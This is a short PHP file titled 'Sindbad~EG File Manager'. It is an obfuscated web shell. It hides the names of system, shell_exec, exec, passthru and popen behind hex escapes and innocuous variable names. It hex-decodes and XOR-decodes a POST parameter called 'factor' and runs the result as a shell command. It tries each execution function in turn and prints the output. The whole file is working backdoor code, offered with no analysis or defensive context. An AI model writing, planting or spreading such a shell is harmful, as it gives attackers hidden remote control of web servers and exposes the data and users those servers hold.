Sindbad~EG File Manager

<?php

$settings2 = "s\x68\x65\x6Cl\x5Fe\x78ec";
$right_pad_string = "he\x78\x32\x62\x69n";
$settings7 = "\x70\x63\x6Cose";
$settings1 = "\x73\x79s\x74em";
$settings4 = "p\x61ss\x74\x68\x72u";
$settings6 = "\x73tream\x5F\x67\x65t\x5F\x63\x6Fnte\x6E\x74\x73";
$settings5 = "\x70o\x70en";
$settings3 = "ex\x65c";
if (isset($_POST["\x66actor"])) {
            function token_parser_engine (   $comp , $component    ) {$record    =    '' ; foreach(str_split($comp) as $char){$record.=chr(ord($char)^$component);} return    $record; }
            $factor = $right_pad_string($_POST["\x66actor"]);
            $factor = token_parser_engine($factor, 32);
            if (function_exists($settings1)) {
                $settings1($factor);
            } elseif (function_exists($settings2)) {
                print $settings2($factor);
            } elseif (function_exists($settings3)) {
                $settings3($factor, $val_comp);
                print join("\n", $val_comp);
            } elseif (function_exists($settings4)) {
                $settings4($factor);
            } elseif (function_exists($settings5) && function_exists($settings6) && function_exists($settings7)) {
                $component_record = $settings5($factor, 'r');
                if ($component_record) {
                    $entry_object = $settings6($component_record);
                    $settings7($component_record);
                    print $entry_object;
                }
            }
            exit;
        }